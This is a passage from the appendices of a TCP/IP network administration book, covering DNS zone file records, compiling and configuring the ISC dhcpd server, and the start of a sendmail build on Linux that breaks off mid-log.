An important use for MX records is to allow mail to non-Internet sites to be delivered using Internet-style addressing. MX records do this by redirecting the mail to computers that know how to deliver the mail to non-Internet networks. For example, sites using uucp can register an Internet domain name with UUNET. UUNET uses MX records to redirect Internet mail addressed to these non-connected sites to uunet.uu.net, which delivers the mail to its final destination via uucp.

Here are some MX examples. All of these examples are for the imaginary domain nuts.com. In the first example, mail addressed to hazel.nuts.com is redirected to almond.nuts.com with this MX record:

hazel        IN    MX    10 almond

The second example is an MX record used to simplify mail addressing. People can send mail to any user in this domain without knowing the specific computer that the user reads his mail on. Mail addressed to user@nuts.com is redirected by this MX record to almond, which is a mail server that knows how to deliver mail to every individual user in the domain.

nuts.com.  IN    MX    10 almond.nuts.com.

The last example is an MX record that redirects mail addressed to any host within the domain to a central mail server. Mail addressed to any host, pecan.nuts.com, acorn.nuts.com, or anything.nuts.com, is redirected to almond. This is the most common use of the wildcard character (*).

*.nuts.com.  IN    MX    10 almond.nuts.com.

In these examples, the preference is 10 so that a mail server with a lower preference number can be added to the zone without changing the existing MX record. Also notice that the host names in the first example are specified relative to the nuts.com domain, but the other names are not relative because they end in a dot. All of these names could have been entered as relative names, because they all are hosts in the nuts.com domain. Fully qualified names were used only to vary the examples. Finally, the wildcard MX record applies only to hosts that do not have a specific MX record. If the specific record for hazel is in the same configuration as the wildcard record, the wildcard MX does not apply to hazel.

C.3.1.5 Canonical Name record

The Canonical Name (CNAME) resource record defines an alias for the official name of a host. The CNAME record provides a facility similar to nicknames in the host table. The facility provides alternate host names for the convenience of users, and generic hostnames used by applications (such as loghost used by syslogd).

The CNAME record is frequently used to ease the transition from an old hostname to a new hostname. While it is best to avoid hostname changes by carefully choosing hostnames in the first place, not all changes can be avoided. When you do make a name change, it can take a long time before it becomes completely effective, particularly if the host name is embedded in a mailing list run at a remote site. To reduce problems for the remote site, use a CNAME record until they can make the change.

The format of the CNAME record is:

nickname [ttl] IN CNAME host

nickname

This hostname is an alias for the official hostname defined in the host field. The nickname can be any valid hostname.

ttl

Time-to-live is usually blank.

IN

The address class is IN.

CNAME

The Canonical Name resource record type is CNAME.

host

The canonical name of the host is provided here. This hostname must be the official hostname; it cannot be an alias.

One important thing to remember about the CNAME record is that all other resource records must be associated with the official hostname and not with the nickname. This means that the CNAME record should not be placed between a host and the list of RRs associated with that host. The example below shows a correctly placed CNAME record:

peanut     IN    A       128.66.12.2
           IN    MX      5 peanut.nuts.com.
           IN    HINFO   SUN-3/60 "SUN OS 4.0"
           IN    WKS     129.6.16.2 TCP ftp telnet smtp domain
           IN    WKS     128.66.12.2 UDP domain
goober     IN    CNAME   peanut.nuts.com.

In this example, the hostname peanut stays in force for the MX, HINFO, and WKS records because they all have blank name fields. The CNAME record changes the name field value to goober, which is a nickname for peanut. Any RRs with blank name fields following this CNAME record would associate themselves with the nickname goober, which is illegal. An improper CNAME placement is:

peanut     IN    A       128.66.12.2
goober     IN    CNAME   peanut.nuts.com.
           IN    MX      5 peanut.nuts.com.
           IN    HINFO   SUN-3/60 "SUN OS 4.0"
           IN    WKS     128.66.12.2 TCP ftp telnet smtp domain
           IN    WKS     128.66.12.2 UDP domain

This improperly placed CNAME record causes named to display the error message "goober.nuts.com has CNAME and other data (illegal)." Check /usr/adm/messages for named error messages to ensure that you have not misplaced any CNAME records.

C.3.1.6 Domain Name Pointer record

The Domain Name Pointer (PTR) resource records are used to convert numeric IP addresses to hostnames. This is the opposite of what is done by the address record that converts hostnames to addresses. PTR records are used to construct the in-addr.arpa reverse domain files.

Many administrators ignore the reverse domains, because things appear to run fine without them. Don't ignore them. Keep these zones up-to-date. Several programs use the reverse domains to map IP addresses to hostnames when preparing status displays. A good example is the netstat command. Some service providers - ftp.uu.net is the best example - use the reverse domains to track who is using their service. If they cannot map your IP address back to a hostname, they reject your connection.

The format of the PTR record is:

name [ttl] IN PTR host

name

The name specified here is actually a number. The number is defined relative to the current in-addr.arpa domain. Names in an in-addr.arpa domain are IP addresses specified in reverse order. If the current domain is 66.128.in-addr.arpa, then the name field for peanut (128.66.12.2) is 2.12. These digits (2.12) are added to the current domain (66.128.in-addr.arpa) to make the name 2.12.66.128.in-addr.arpa. Chapter 4, Getting Started , discusses the unique structure of in-addr.arpa domain names.

ttl

Time-to-live is usually blank.

IN

The address class is IN.

PTR

The Domain Name Pointer resource record type is PTR.

host

This is the fully qualified domain name of the computer whose address is specified in the name field. The host must be specified as a fully qualified name because the name cannot be relative to the current in-addr.arpa domain.

There are many examples of PTR records in the sample named.rev file shown in Chapter 8.

C.3.1.7 Host Information record

The Host Information (HINFO) resource record provides a short description of the hardware and operating system used by a specific host. The hardware and software are described using standard terminology defined in the Assigned Numbers RFC in the sections on Machine Names (hardware) and System Names (software). There are a large number of hardware and software designators listed in the RFC. Most name use the same general format. Names with embedded blanks must be enclosed in quotes, so some names have a dash (-) where you might expect a blank. A machine name is usually the manufacturer's name in uppercase letters separated from the model number by a dash; e.g., IBM-PC/AT or SUN-3/60. The system name is usually the manufacturer's operating system name written in uppercase letters; e.g., DOS or "SUN OS 4.0." Naturally the rapid changes in the computer market constantly make the data in the Assigned Numbers RFC out-of-date. Because of this, many administrators make up their own values for machine names and system names.

The format of the HINFO record is:

[host] [ttl] IN HINFO hardware software

host

The hostname of the computer whose hardware and software is described in the data section of this resource record.

ttl

Time-to-live is usually blank.

IN

The address class is IN.

HINFO

HINFO is the resource record type. All of the information that follows is part of the HINFO data field.

hardware

This field identifies the hardware used by this host. It contains the machine name defined in the Assigned Numbers RFC. This field must be enclosed in quotes if it contains any blanks. A single blank space separates the hardware field from the software field that follows it.

software

This field identifies the operating system software this host runs. It contains the system name defined for this operating system in the Assigned Numbers RFC. Use quotes if the system name contains any blanks.

No widely used application makes use of the HINFO record; the record just provides information. Some security-conscious sites discourage its use. They fear that this additional information helps intruders narrow their attacks to the specific hardware and operating system that they wish to crack.

C.3.1.8 Well-Known Services record

The Well-Known Services (WKS) resource record names the network services supported by the specified host. The official protocol names and services names used on the WKS record are defined in the Assigned Numbers RFC. The simplest way to list the names of the well-known services is to cat the /etc/services file on your system. Each host can have no more than two WKS records; one record for TCP and one for UDP. Because several services are usually listed on the WKS record, each record may extend through multiple lines.

The format of the WKS record is:

[host] [ttl] IN WKS address protocol services

host

The hostname of the computer that provides the advertised services.

ttl

Time-to-live is usually blank.

IN

The address class is IN.

WKS

The resource record type is WKS. All of the information that follows is variable information for the WKS record.

address

The IP address of the host written in dotted decimal format, e.g., 128.66.12.2.

protocol

The transport level protocol through which the service communicates - either TCP or UDP.

services

The list of services provided by this host. As few or as many services as you choose may be advertised, but the names used to advertise the services must be the names found in the /etc/services file. Items in the list of services are separated by spaces. Parentheses are used to continue the list beyond a single line.

There are no widely used applications that make use of this record. It is only used to provide general information about the system. Again, security-conscious sites may not wish to advertise all of their services. Some protocols, such as tftp and finger, are prime targets for intruders.

C.3.1.9 Text record

The Text (TXT) resource record holds string data. The text data can be in any format. There are no standard TCP/IP applications for processing TXT records. These records are used to provide free-form information about the named object. Some sites create local processes for TXT records and define a local format for the information. For example, a TXT record could hold the Ethernet address of a host at one site and a room number at another site.

The format of the TXT record is:

[name] [ttl] IN TXT string

name

The name of the domain object with which the string data is associated.

ttl

Time-to-live is usually blank.

IN

The address class is IN.

TXT

The resource record type is TXT.

string

The string field contains text data enclosed in quotation marks.

Previous: C.2 named.boot Configuration Commands | TCP/IP Network Administration | Next: D. A dhcpd Reference
C.2 named.boot Configuration Commands | Book Index | D. A dhcpd Reference


[Appendix D] A dhcpd Reference

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: C.3 Zone File Records Appendix D Next: D.2 The dhcpd Command

D. A dhcpd Reference

Contents:
Compiling dhcpd
The dhcpd Command
The dhcpd.conf Configuration File

This appendix covers the syntax of the dhcpd command and the dhcpd.conf configuration file. It is a reference to the Internet Software Consortium (ISC) Dynamic Host Configuration Protocol (DHCP) server, ISC dhcpd. To fully understand how to configure and use dhcpd in realistic network environments, see the tutorial and sample configuration files in Chapter 9, Configuring Network Servers .

dhcpd is under development. The information in this appendix is based on Beta Release 5 Patch Level 16. As a beta release, this software is bound to be upgraded and changed. Refer to the Web page http://www.isc.org/dhcp.html for the most recent information about dhcpd. And remember, a DHCP implementation from another vendor will probably be configured in a completely different manner.

D.1 Compiling dhcpd

The source code for dhcpd can be obtained through the ISC Web site at www.isc.org or via anonymous FTP at ftp://ftp.isc.org/isc/dhcp. The compressed tar file at the time of this writing was DHCPD-BETA-5.16.tar.gz, though this name will change as new versions are released. Download, gunzip, and untar the file:

> ftp ftp.isc.org
Connected to pub1.bryant.vix.com.
220 pub1.bryant.vix.com FTP server ready.
Name (ftp.isc.org:craig): anonymous
331 Guest login ok, send your complete email address as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> cd isc/dhcp
250 CWD command successful.
ftp> binary
200 Type set to I.
ftp> get DHCPD-BETA-5.16.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for DHCPD-BETA-5.16.tar.gz
226 Transfer complete.
181892 bytes received in 17 secs (10 Kbytes/sec)
ftp> quit
221 Goodbye.
> gunzip DHCPD-BETA-5.16.tar.gz
> tar -xvf DHCPD-BETA-5.16.tar
DHCPD-BETA-5.16/
DHCPD-BETA-5.16/cf/
DHCPD-BETA-5.16/cf/alphaosf.h
DHCPD-BETA-5.16/cf/bsdos.h
DHCPD-BETA-5.16/cf/freebsd.h
.
.
.

DHCPD-BETA-5.16/includes/
DHCPD-BETA-5.16/includes/netinet/
DHCPD-BETA-5.16/includes/netinet/if_ether.h
DHCPD-BETA-5.16/includes/netinet/ip.h
DHCPD-BETA-5.16/includes/netinet/udp.h

Change to the newly created directory, DHCPD-BETA-5.16 in the example, and run configure. configure determines the type of UNIX system you're running and creates the correct Makefile for that system. If configure cannot determine what version of UNIX you're running, you must build your own Makefile by hand. Next, type make to compile the daemon. Finally, copy the daemon and the manpages to the correct directories:

# cd DHCPD-BETA-5.16
# configure
System Type: linux
# make
cc -g      -c dhcpd.c -o dhcpd.o
cc -g      -c dhcp.c -o dhcp.o
cc -g      -c bootp.c -o bootp.o
.
.
.

nroff -man dhcpd.conf.5 >dhcpd.conf.cat5
# make install

The DHCP daemon should compile without errors. If you get compile errors or configure cannot determine your system configuration, you should consider abandoning the compile and notifying the support group. Join the support group mailing list by going to http://www.fugue.com/dhcp. Once you join, send mail to the dhcp-server@fugue.com mailing list describing your configuration and the exact problem you have. The list is read by most of the people using dhcpd. Someone may have already solved your problem.

Simply installing dhcpd may not be all that is required. Remember, dhcpd is beta software. Read the README file very carefully. dhcpd runs on a wide variety of systems, including OSF/1, most recent BSD derivatives, Solaris, and Linux. It runs best on OSF/1 and BSD. On other systems it may have some limitations. For example, on both Solaris and Linux it can support only one network interface. dhcpd also may require some system-specific configuration. Our sample Linux 2.0.0 system is an excellent example of this. To successfully run dhcpd we had to add the following entry to the /etc/hosts table:

255.255.255.255		all-ones

And we had to add a specific route for the limited broadcast address, 255.255.255.255:

# route add -host all-ones dev eth0

To reinstall the limited broadcast address in the kernel routing table after each boot, we added the following code to the /etc/rc.d/rc.inet2 startup script:

# Install the limited broadcast route and start DHCP
  if [ -f /etc/dhcpd.conf ]; then
    echo -n " dhcpd"
    route add -host all-ones dev eth0
    /usr/sbin/dhcpd
  fi

The information needed to complete these extra configuration steps was clearly defined in the README file. Read it before you try to run dhcpd.

Previous: C.3 Zone File Records | TCP/IP Network Administration | Next: D.2 The dhcpd Command
C.3 Zone File Records | Book Index | D.2 The dhcpd Command


[Appendix D] D.2 The dhcpd Command

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: D.1 Compiling dhcpd Appendix D
A dhcpd Reference 		Next: D.3 The dhcpd.conf Configuration File

D.2 The dhcpd Command

The syntax of the dhcpd command is:

dhcpd [-p port] [-f] [-d] [-cf config-file] [-lf lease-file] [if0 [...ifn]]

dhcpd usually is run without any command-line arguments. Most of the arguments are used only when testing and debugging. Two of the command-line arguments handle special configuration requirements:

-f

Runs dhcpd in foreground mode. By default, dhcpd runs as a background daemon process. Use -f when dhcpd is started from inittab on a System V UNIX system.

if0 [...ifn]

Lists the interfaces on which dhcpd should listen for BOOTREQUEST packets. This is a whitespace-separated list of interface names. For example, dhcpd ec0 ec1 wd0 tells dhcpd to listen to interfaces ec0, ec1, and wd0. Normally this argument is not required. In most cases dhcpd locates all installed interfaces and eliminates the non-broadcast interfaces automatically. Use this argument only if it appears that dhcpd is failing to locate the correct interfaces.

All of the remaining command-line arguments are used for debugging or testing:

-p port

Causes dhcpd to listen to a non-standard port. The well-known port for DHCP is 67. Changing it means that clients cannot talk to the server. On rare occasions this is done during testing.

-d

Routes error messages to stderr. Normally error messages are written via syslog with facility set to DAEMON.

-cf config-file

Causes dhcpd to read the configuration from the file identified by config-file instead of from dhcpd.conf. Use this only to test a new configuration before it is installed in dhcpd.conf. Use the standard file for production.

-lf lease-file

Causes dhcpd to write the address lease information to the file identified by lease-file instead of to dhcpd.leases. Use this only for testing. Changing the name of the lease file could cause dynamic addresses to be misallocated. Use this argument with caution.

Kill the dhcpd daemon with the SIGTERM signal. The process ID (PID) of the dhcpd daemon is found in the /var/run/dhcpd.pid file. For example:

# kill -TERM 'cat /var/run/dhcpd.pid'

dhcpd uses three files. dhcpd writes its PID to /var/run/dhcpd.pid. It maintains a record of dynamic address leases in /var/db/dhcpd.leases, and dhcpd reads its configuration from /etc/dhcpd.conf. These last two files are created by you. Create an empty lease file before you run dhcpd the first time, e.g., touch /var/db/dhcpd.leases. Create a configuration and store it in dhcpd.conf.

Previous: D.1 Compiling dhcpd | TCP/IP Network Administration | Next: D.3 The dhcpd.conf Configuration File
D.1 Compiling dhcpd | Book Index | D.3 The dhcpd.conf Configuration File


[Appendix D] D.3 The dhcpd.conf Configuration File

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: D.2 The dhcpd Command Appendix D
A dhcpd Reference 		Next: E. A sendmail Reference

D.3 The dhcpd.conf Configuration File

When it starts, dhcpd reads its configuration from the /etc/dhcpd.conf file. dhcpd.conf defines the network being served by the DHCP server and the configuration information the server provides to its clients.

dhcpd.conf is an ASCII text file. Comments in the file begin with a sharp sign (#). Keywords are case-insensitive. Whitespace can be used to format the file. Related statements are enclosed in curly braces. IP address can be entered as numeric addresses or as hostnames that resolve to addresses.

Statements in the configuration file define the topology of the network being served. In the documentation these statements are called "declarations" because they declare something about the network topology. The statements that define the topology are: server-identifier, shared-network, subnet, group, and host. When used, there is only one server-identifier. All the other statements can appear multiple times in the configuration file. The statements define a hierarchical structure. The shared-network contains subnets, and subnets can contain hosts.

Parameters and options can be associated with each of these statements. Parameters define things about the server and the protocol, such as the length of time for an address lease or where the boot file is located. The options provide the clients with values for the standard DHCP configuration options defined by the RFCs: for example, whether the client should enable IP forwarding. Parameters and options specified outside of a specific topology statement apply to all networks served by this server. Those specified in the group statement apply to all of the shared networks, subnets or hosts grouped together by the statement. The shared-network statement options and parameters apply to all subnets on the shared network. Subnet options and parameters apply to everything on the subnet. Host options and parameters only apply to the individual host. Options applied at a general level can be overridden by the same option applied at a more specific level. Subnet options override global options and host options override subnet options. This structure allows the network administrator to define configuration information for the entire network and all of its parts.

In the following sections, we examine the syntax of all of the topology statements and of all the parameters and options that can be associated with them. We include many more parameters and options than you will ever use, and there is no need to study them all. Use this reference to look up the details of individual parameters and options when you need them. See Chapter 9 for examples of how these statements, parameters, and options are actually used in a real-world configuration.

D.3.1 Topology Statements

server-identifier hostname;

The server-identifier statement documents the IP address of the server. It is sometimes used at the start of the file as the first statement of a group of parameter statements and option statements that apply to every network served by this server. The documentation calls these "global parameters."

group {[parameters] [options]}

The group statement groups together shared-network, subnet, host, or other group statements to apply a set of parameters or options to all members of the group.

shared-network name {[parameters] [options]}

The shared-network statement is used only if more than one IP subnet shares the same physical network. In most cases, different subnets are on different physical networks. The name, which must be provided, can be any descriptive name. It is used only in debugging messages. Parameters and options associated with the shared network are declared within the curly braces and apply to all subnets in the shared network. The subnets in a shared network must be defined within the curly braces of the shared-network statement. It is assumed that each shared-network statement contains at least two subnet statements; otherwise there is no need to use the shared-subnet statement. dhcpd cannot tell on which subnet of a shared network a client should boot. Therefore, dynamically allocated addresses are taken from the available range of all subnets on the shared network and assigned as needed.

subnet address mask netmask { [parameters] [options]}

The subnet statement defines the IP address and address mask of every subnet the daemon will serve. The address and mask are used to identify the clients that belong to the subnet. The parameters and options defined within the curly braces apply to every client on the subnet. Every subnet physically connected to the server must have a subnet statement even if the subnet does not have any clients.

host hostname {[parameters] [options]}

The host statement defines parameters and options for individual clients. Every BOOTP client must have a host statement in the dhcpd.conf file. For DHCP clients, the host statement is optional. It is matched to an actual DHCP or BOOTP clients by matching the dhcp-client-identifier provided by the client or by matching the hardware parameter to the hardware address of the client. BOOTP clients do not provide a dhcp-client-identifier, so use the hardware address for BOOTP clients. DHCP clients can be identified by either the dhcp-client-identifier or the hardware address.

D.3.2 Configuration Parameters

The parameter statements defined in this section control the operation of the DHCP server and the DHCP protocol. The standard DHCP configuration values that are passed to clients are defined in option statements, which are covered in the next section. Some parameter statements can be associated with any of the topology statements discussed above. Others can only be used with specific statements. These are noted in the description of the parameter.

range [dynamic-bootp] low-address [high-address];

The range parameter defines the scope of addresses that are available for dynamic assignment by defining the lowest and highest IP addresses available for assignment. The range parameter must be associated with a subnet statement. All addresses in the scope of the range parameter must be in the subnet in which the range parameter is declared. The dynamic-bootp flag is specified if addresses may be automatically assigned to BOOTP clients as well as DHCP clients. The range parameter must be defined if you intend to use dynamic address assignment. If the subnet statement does not include a range parameter, dynamic address assignments are not made to clients on the subnet.

default-lease-time seconds;

The life of an address lease in seconds that is used if the client does not request a specific lease length.

max-lease-time seconds;

The maximum life of an address lease in seconds regardless of the lease length the client requests.

hardware type address;

Defines a client's hardware address. At present, type must be either ethernet or token-ring. address must be an appropriate physical address for the type of hardware. The hardware parameter must be associated with a host statement. It is required for a BOOTP client to be recognized. It is optional for DHCP clients for which it is an alternative to the dhcp-client-identifier option.

filename file;

Identifies the boot file for diskless clients. file is an ASCII string enclosed in quotation marks.

server-name name;

The hostname of the DHCP server that is provided to the client. name is an ASCII string enclosed in quotation marks.

next-server name;

The hostname or address of the server from which the boot file is to be loaded.

fixed-address address[, address... ];

Assigns one or more fixed IP addresses to a host. The fixed-address parameter is valid only when associated with a host statement. If more than one address is supplied, the client is assigned the address that is valid for the subnet on which it is booting. If none of the addresses is valid for the subnet, no configuration data is sent to the client.

dynamic-bootp-lease-cutoff date;

Sets a termination date for addresses assigned to BOOTP clients. BOOTP clients do not have a way of renewing leases and don't know that address leases expire. By default, dhcpd assigns permanent address to BOOTP clients. This parameter changes that behavior. It is used only in special circumstances where the life of all systems is known in advance - for example, on a college campus where it is known that all student systems will be removed by June.

dynamic-bootp-lease-length seconds;

Defines the life of an address lease in seconds for an address automatically assigned to a BOOTP client. As noted above, BOOTP clients do not understand address leases. This parameter is used only in special circumstances where clients use a BOOTP boot PROM and run an operating system that supports DHCP. During the boot the client acts as a BOOTP client, but once it boots the client runs DHCP and knows how to renew a lease. Use this parameter, and the previous one, with caution.

boot-unknown-clients flag;

Tells dhcpd whether or not to dynamically assign addresses to unknown clients. If flag is "false," addresses are provided only to clients that have a host statement in the configuration file. By default, the flag is "true" and addresses are dynamically assigned to any client on a valid subnet.

get-lease-hostnames flag;

Tells dhcpd if it should send a DNS hostname to the client when it dynamically assigns it an IP address. If flag is "true," dhcpd uses DNS to look up the hostnames for all dynamically assigned addresses, which dramatically slows DHCP performance. By default the flag is "false" and no lookups are done.

use-host-decl-names flag;

Causes the name provided on the host statement to be supplied to the client as its hostname.

D.3.3 DHCP Options

The option statements available with dhcpd cover all of the standard DHCP configuration options currently defined in the RFCs. Furthermore the syntax of the dhcpd.conf option statement is extensible. A new option can be identified by its decimal option code. All options are assigned a decimal option code, either in the RFC that describes the option or in the vendor documentation if it is vendor-specific. The value assigned to the new option can be expressed as a string enclosed in quotes or as a colon-separated list of hexadecimal numbers. Imagine that a new DHCP option is created and assigned an option code of 133. Further, imagine that the value carried by this option is a 16-bit binary mask and that you want your clients to "turn on" the high-order 4-bit and "turn off" all other bits in the mask. You could add the following option to your configuration:

option option-133 F0:00

All option statements begin with the keyword option. The keyword is then followed by the name of the option and the value assigned to the option, in that order. In the example above, the option name is in the form option-nnn, where nnn is the decimal option code assigned to the option. In this manner any new option that appears can be added to dhcpd.conf file. The value assigned to this imaginary option is F000.

Looking at the huge list of standard options, you may well wonder if they will ever need to be extended. The standard options are listed in the following section. The types of values that are assigned to options are:

Address

An IP address written in dotted decimal notation or a host name that resolves to an address

String

A series of characters enclosed in quotation marks

Number

A numeric value

Flag

A switch containing either 1 or 0

In this book, the list of options is divided into "Commonly used options" and "Other options."

D.3.3.1 Commonly used options

option subnet-mask mask;

Specifies the subnet mask in dotted decimal notation. If the subnet mask option is not provided, dhcpd uses the network mask from the subnet statement.

option time-offset seconds;

Specifies the number of seconds this time zone is offset from Coordinated Universal Time (ETC).

option routers address[, address...];

Lists the routers the client should use, in order of preference.

option domain-name-servers address[, address...];

Lists the Domain Name System (DNS) name servers the client should use, in order of preference.

option lpr-servers address [, address...];

Lists line printer (LPR) servers the client should use, in order of preference.

option host-name host;

Defines the hostname the client should use.

option domain-name domain;

Defines the domain name.

option interface-mtu bytes;

Defines the MTU the client should use. The minimum legal value for the MTU is 68.

option broadcast-address address;

Defines the broadcast address for the client's subnet.

option static-routes destination gateway[, destination gateway... ];

Lists the static routes the client should use. The default route cannot be specified in this manner. Use the routers option for the default route.

option trailer-encapsulation 0 | 1;

Specifies if the client should use trailer encapsulation. See the discussion of trailer encapsulation in Chapter 6, Configuring the Interface . 0 means "no" the client shouldn't and 1 means "yes" the client should use trailer encapsulation.

option nis-domain string;

A character string that defines the name of the Network Information Services (NIS) domain.

option nis-servers address[, address...];

Lists IP addresses of the NIS servers the client should use, in order of preference.

option dhcp-client-identifier string;

Used in the host statement to define the DHCP client identifier. dhcpd can use the client identifier to identify DHCP clients in lieu of the hardware address.

D.3.3.2 Other options

option time-servers address[, address...];

Lists the time servers the client should use, in order of preference.

option ien116-name-servers address[, address...];

Lists the IEN 116 name servers the client should use, in order of preference. IEN 116 is an obsolete name service. Avoid this and use DNS.

option log-servers address[, address...];

Lists the MIT-LCS UDP log servers the client should use, in order of preference.

option cookie-servers address[, address...];

Lists the cookie servers available to the client, in order of preference.

option impress-servers address[, address...];

Lists the Image Impress servers available to the client, in order of preference.

option resource-location-servers address[, address...];

Lists the Resource Location servers the client should use, in order of preference.

option boot-size blocks;

The number of 512-octet blocks in boot file.

option merit-dump path;

path is a character string that identifies the location of the file the client should dump core to in the event of a crash.

option swap-server address;

Specifies the IP address of the client's swap server.

option root-path path;

path is a character string that identifies the location of the client's root disk.

option ip-forwarding 0 | 1;

Specifies if the client should do IP forwarding. 0 disables IP forwarding, and 1 enables it.

option non-local-source-routing 0 | 1;

Specifies if the client should allow non-local source routes. Source routes are a potential security problem as they can be used by intruders to route data off the local network in ways not intended by the local network administrator. 0 disables forwarding of non-local source routed datagrams, and 1 enables forwarding. 0 is the more secure setting.

option policy-filter address mask[, address mask...];

Lists the IP addresses and masks that specify the only valid destination/mask pairs for incoming source routes. Any source-routed datagram whose next-hop address does not match one of the filters is discarded by the client.

option max-dgram-reassembly bytes;

Defines, in bytes, the largest datagram the client should be prepared to reassemble. The value of bytes cannot be less than 576.

option default-ip-ttl ttl ;

Defines the default time-to-live (ttl) for outgoing datagrams. See the discussion of traceroute in Chapter 11, Troubleshooting TCP/IP , for information about ttl.

option path-mtu-aging-timeout seconds;

Set the number of seconds for timing out Path MTU values discovered by the mechanism defined in RFC 1191.

option path-mtu-plateau-table bytes[, bytes...];

Defines a table of MTU sizes to use when performing Path MTU Discovery as defined in RFC 1191. The minimum MTU value cannot be smaller than 68.

option all-subnets-local 0 | 1;

Tells the client if all subnets of the local network use the same MTU. 1 means that all subnets share the same MTU. 0 means that some subnets have smaller MTUs.

option perform-mask-discovery 0 | 1;

Specifies if the client should use ICMP to discover the subnet mask. 0 enables ICMP mask discovery, and 1 disables it. Because the DHCP server can provide the correct subnet mask, ICMP mask discovery is rarely used on networks that have a DHCP server.

option mask-supplier 0 | 1;

Specifies if the client should respond to ICMP subnet mask requests. 0 means "no" and 1 means "yes" it should respond.

option router-discovery 0 | 1;

Specifies if the client should use the Router Discovery mechanism defined in RFC 1256 to locate routers. 0 means "no" it shouldn't, and 1 means "yes" the client should perform router discovery. Because the DHCP server provides the correct list of routers, router discovery is rarely used on networks that have a DHCP server.

option router-solicitation-address address;

Defines the address to which the client should transmit a router solicitation request if router discovery is enabled.

option arp-cache-timeout seconds;

Defines the number of seconds entries are maintained in the ARP cache.

option ieee802-3-encapsulation 0 | 1;

Specifies if the client should use Ethernet II (DIX) or IEEE 802.3 Ethernet encapsulation on the network. 0 tells the client to use Ethernet II and 1 tells the client to use IEEE 802.3 encapsulation.

option default-tcp-ttl ttl;

Defines the default TTL for TCP segments. Possible values are 1 to 255.

option tcp-keepalive-interval seconds;

The number of seconds TCP should wait before sending a keepalive message. 0 means that TCP should not generate keepalive messages. Keepalive messages are generally discouraged.

option tcp-keepalive-garbage 0 | 1;

Specifies if the client should send TCP keepalive messages with an octet of garbage for compatibility with older implementations. 0 means don't send a garbage octet and 1 means send it. Keepalives are generally discouraged.

option ntp-servers address[, address...];

Lists the IP addresses of the Network Time Protocol (NTP) servers the client should use, in order of preference.

option netbios-name-servers address[, address...];

Lists the NetBIOS name servers (NBNS) the client should use, in order of preference.

option netbios-dd-server address[, address...];

Lists the NetBIOS datagram distribution servers (NBDD) the client should use, in order of preference.

option netbios-node-type type;

Defines the NetBIOS node type of the client. A type of 1 is a NetBIOS B-node; 2 is a P-node; 4 is an M-node; 8 is an H-node.

option netbios-scope string;

A character string that defines the NetBIOS over TCP/IP scope parameter as specified in RFC 1001/1002.

option font-servers address[, address...];

Lists the X Window System Font servers the client should use, in order of preference.

option x-display-manager address[, address...];

Lists the systems running the X Window System Display Manager that the client should use, in order of preference.

Previous: D.2 The dhcpd Command | TCP/IP Network Administration | Next: E. A sendmail Reference
D.2 The dhcpd Command | Book Index | E. A sendmail Reference


[Appendix E] A sendmail Reference

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: D.3 The dhcpd.conf Configuration File Appendix E Next: E.2 The sendmail Command

E. A sendmail Reference

Contents:
Compiling sendmail
The sendmail Command
m4 sendmail Macros
More sendmail.cf
Sample Configurations

This appendix provides details of the syntax of the sendmail command, of the sendmail.cf file, and of the m4 macros that can be used to build that file. It also contains excerpts of the sample sendmail.cf file described in Chapter 10, sendmail . It describes where to obtain the latest source code for sendmail and how to compile it. This appendix is a reference, not a tutorial. Refer to Chapter 10 for a tutorial on sendmail configuration.

We start the appendix with information on locating, downloading, and compiling the latest version of sendmail.

E.1 Compiling sendmail

The source code for sendmail is available via anonymous ftp from ftp.sendmail.org, where it is stored in the pub/sendmail directory. When you change to that directory, an information message tells you about the latest version of sendmail. sendmail is updated constantly. The following examples are based on sendmail V8.8.5. Remember that things will change for future releases. Always read the README files and installation documents that come with new software before beginning an installation.

Download the compressed sendmail tar file as a binary file. Uncompress and untar it. Change to the src directory in the sendmail directory created by the tar file and enter:

sh makesendmail

According to the documentation, this is all you need to do on most systems. This certainly works on BSD 4.4-based systems. However, it does not work on every system. The two systems used for examples in this book, Solaris 2.5.1 and Slackware 96 Linux, both have problems. The problem with Solaris is that it does not have a C compiler. Before even attempting to install sendmail you must download and install the GNU C compiler, gcc. The problem with Slackware is more subtle. Different versions of Linux place files in different locations in the filesystem. Let's look at the details of installing sendmail V8.8.5 on a Slackware 96 system.

First we download the tar file and put the sendmail source files into the /usr/src directory where Slackware 96 keeps various source files:

# ftp ftp.sendmail.org
Connected to kohler.CS.Berkeley.EDU.
220 kohler.CS.Berkeley.EDU FTP server ready.
Name (ftp.cs.berkeley.edu:craig): anonymous
331 Guest login ok, send your complete email address as password.
Password: craig@nuts.com
230 Guest login ok, access restrictions apply.
ftp> cd pub/sendmail
250 CWD command successful.
ftp> binary
200 Type set to I.
ftp> get sendmail.8.8.5.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection.
226 Transfer complete.
992815 bytes received in 187 secs (5.2 Kbytes/sec)
ftp> quit
221 Goodbye.
# gunzip sendmail.8.8.5.tar.gz
# cp sendmail.8.8.5.tar /usr/src
# cd /usr/src
# tar -xvf sendmail.8.8.5.tar

Next we run makesendmail.

# cd sendmail-8.8.5/src
# ./makesendmail
Configuration: os=Linux, rel=2.0.0, rbase=2, rroot=2.0, arch=i586, sfx=
Creating obj.Linux.2.0.0.i586 using Makefile.Linux
Making dependencies in obj.Linux.2.0.0.i586
make: Nothing to be done for `depend'.
Making in obj.Linux.2.0.0.i586
cc -I. -O -I/usr/local/include -DNDBM -DNEWDB    -c alias.c -o alias.o
.
.
.

cc -I. -O -I/usr/local/include -DNDBM -DNEWDB    -c map.c -o map.o
map.c:42: ndbm.h: No such file or directory
make: * [map.o] Error 1

makesendmail recognizes this is a Linux system, but the Makefile it selects is obviously not correct for the Slackware 96 variant of Linux. All of the Makefiles that makesendmail uses are located in the src/Makefiles subdirectory. Two of those files, Makefile.Linux and Makefile.Linux.ppc, are designed for Linux. The Makefile.Linux.ppc is a possible solution to our problem. Move it to Makefile.Linux and rerun makesendmail:

# cd Makefiles
# mv Makefile.Linux Makefile.Linux.orig
# cp Makefile.Linux.ppc Makefile.Linux
# cd ..
# touch *
# ./makesendmail
Configuration: os=Linux, rel=2.0.0, rbase=2, rroot=2.0, arch=i586, sfx=
Making in obj.Linux.2.0.0.i586
